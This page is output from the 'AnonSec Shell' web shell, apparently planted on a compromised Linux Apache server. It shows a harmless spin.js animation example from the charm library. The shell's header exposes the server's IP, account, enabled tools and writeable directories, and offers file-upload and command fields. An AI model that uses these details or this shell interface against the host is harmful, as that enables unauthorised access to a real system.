AnonSec Shell
Server IP : 92.204.138.22  /  Your IP : 3.138.60.73
Web Server : Apache
System : Linux ns1009439.ip-92-204-138.us 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
User : internationaljou ( 1019)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/opt/cpanel/ea-nodejs16/lib/node_modules/pm2/node_modules/charm/example/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /proc/self/root/opt/cpanel/ea-nodejs16/lib/node_modules/pm2/node_modules/charm/example/spin.js
var charm = require('../')(process);
charm.reset();

var radius = 10;
var theta = 0;
var points = [];

var iv = setInterval(function () {
    var x = 2 + (radius + Math.cos(theta) * radius) * 2;
    var y = 2 + radius + Math.sin(theta) * radius;
    
    points.unshift([ x, y ]);
    var colors = [ 'red', 'yellow', 'green', 'cyan', 'blue', 'magenta' ];
    
    points.forEach(function (p, i) {
        charm.position(p[0], p[1]);
        var c = colors[Math.floor(i / 12)];
        charm.background(c).write(' ')
    });
    points = points.slice(0, 12 * colors.length - 1);
    
    theta += Math.PI / 40;
}, 50);

Anon7 - 2022
AnonSec Team